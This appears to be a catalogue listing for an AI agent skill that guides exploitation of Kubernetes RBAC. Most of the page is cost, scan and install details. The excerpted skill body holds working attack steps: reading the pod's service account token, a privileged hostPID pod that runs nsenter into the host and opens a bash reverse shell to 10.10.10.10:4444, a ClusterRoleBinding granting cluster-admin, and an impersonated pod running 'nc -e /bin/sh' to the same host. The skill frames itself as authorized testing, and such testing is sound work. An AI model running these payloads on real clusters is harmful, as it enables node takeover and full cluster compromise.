kubernetes-rbac-exploitation

kubernetes-rbac-exploitation is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 54 tokens per session (1,262 once invoked), scanned A, original, MIT.

A guide to exploiting overly broad Kubernetes RBAC permissions. Kubernetes is a system for running containerized applications, and RBAC controls what users and services can do in a cluster.

In plain words
What is it for?
Use it to inspect roles and bindings, test permissions such as creating pods, and assess paths from a cluster foothold to administrator or node access.
Why use it?
It helps reveal whether a pod or service account can obtain permissions far beyond what it needs, potentially reaching cluster administration or the underlying host.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Good fit Use it to inspect roles and bindings, test permissions such as creating pods, and assess paths from a cluster foothold to administrator or node access.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge
agentmods
npx agentmods add skills/shulkwisec/bb-huge/kubernetes-rbac-exploitation

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for kubernetes-rbac-exploitation

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/kubernetes-rbac-exploitation/github.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/kubernetes-rbac-exploitation)
Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/kubernetes-rbac-exploitation"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/kubernetes-rbac-exploitation/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for kubernetes-rbac-exploitation

Your own site · 80×15
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/kubernetes-rbac-exploitation"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/kubernetes-rbac-exploitation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 54 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,262 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00054 $0.01262
Opus 5 $0.00027 $0.00631
Sonnet 5 $0.00011 $0.00252
Haiku 4.5 $0.00005 $0.00126

Measured 6d ago against content hash 2a3a2c8e4baa, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-09, from the pricing page.

Security

Grade A, and why

kubernetes-rbac-exploitation scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

tools: [kubectl, curl, custom-scripts]
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

skills/curated/kubernetes-rbac-exploitation/SKILL.md · 153 lines

How it starts

The opening of the file, as written. The whole thing — 153 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Kubernetes RBAC Exploitation

When to Use

  • After gaining initial access to a Kubernetes pod (e.g., via a web vulnerability) and obtaining the pod's service account token.
  • When performing a white-box security review of a Kubernetes cluster's RBAC definitions to identify potentially dangerous privilege escalation vectors.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Environment Enumeration

# export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}

# kubectl auth can-i --list

Phase 2: Exploiting create pods (with Volume Mounts)

# cat <<EOF > malicious-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: root-shell
spec:
  containers:
  - name: shell
    image: ubuntu
    command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash", "-c", "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" ]
    securityContext:
      privileged: true
  hostPID: true
  hostNetwork: true
EOF

kubectl apply -f malicious-pod.yaml

Phase 3: Exploiting bind and escalate (ClusterRoles)

# # cat <<EOF > malicious-rolebinding.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: malicious-binding
subjects:
- kind: ServiceAccount
  name: default
  namespace: default
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io
EOF

kubectl create -f malicious-rolebinding.yaml

Phase 4: Exploiting impersonate

# kubectl auth can-i create pod --as system:admin
kubectl run rootshell --image=alpine --as system:admin -- sh -c "nc -e /bin/sh 10.10.10.10 4444"
Decision Point 🔀
flowchart TD
    A[Check Permissions ] --> B{Can Create Pods ]}
    B -->|Yes| C[Deploy Privileged Pod ]
    B -->|No| D[Check Role Bindings ]
    D -->|Can Bind/Escalate | E[Grant cluster-admin ]
    D -->|Can Impersonate | F[Impersonate system:admin ]

Read the full file on GitHub · 153 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 153 lines · 54 tokens per session scan A 2a3a2c8e4baa

Subscribe to this mod's changes

kubernetes-rbac-exploitation is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 54 tokens to every session and 1,262 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

kubernetes-rbac-exploitation

Exploit misconfigured Kubernetes Role-Based Access Control (RBAC) to escalate privileges within a cluster. This skill covers identifying overly permissive roles and bindings, and leveraging them to gain cluster-admin access or compromise the host nodes.

akashrpatil/awesome-offensive-security-skills · 54 tokens

hunt-k8s

Hunt Kubernetes & Docker — API anonymous access, kubelet 10250 exec (SPDY/WebSocket, NOT plain POST) and the simpler /run primitive, etcd 2379 unauth, dashboard skip-login, RBAC misconfig, secret/SA-token abuse, docker.sock host escape, runc/container-escape (Leaky Vessels CVE-2024-21626), API-server-mediated…

uphiago/recon-skills · 159 tokens

auditing-kubernetes-rbac-privilege-escalation

Find over-permissive RBAC roles and service-account token abuse paths in Kubernetes using kubectl auth can-i, rbac-police, kubectl-who-can, and rakkess during authorized cluster security reviews.

Youngmaidainon/Agent-Level-Up · 57 tokens

auditing-kubernetes-cluster-rbac

Auditing Kubernetes cluster RBAC configurations to identify overly permissive roles, wildcard permissions, dangerous ClusterRoleBindings, service account abuse, and privilege escalation paths using kubectl, rbac-tool, KubiScan, and Kubeaudit.

26zl/cybersec-toolkit · 56 tokens

auditing-kubernetes-cluster-rbac

Auditing Kubernetes cluster RBAC configurations to identify overly permissive roles, wildcard permissions, dangerous ClusterRoleBindings, service account abuse, and privilege escalation paths using kubectl, rbac-tool, KubiScan, and Kubeaudit.

Youngmaidainon/Agent-Level-Up · 56 tokens

auditing-kubernetes-cluster-rbac

Auditing Kubernetes cluster RBAC configurations to identify overly permissive roles, wildcard permissions, dangerous ClusterRoleBindings, service account abuse, and privilege escalation paths using kubectl, rbac-tool, KubiScan, and Kubeaudit.

RobotFlow-Labs/skills-repo · 56 tokens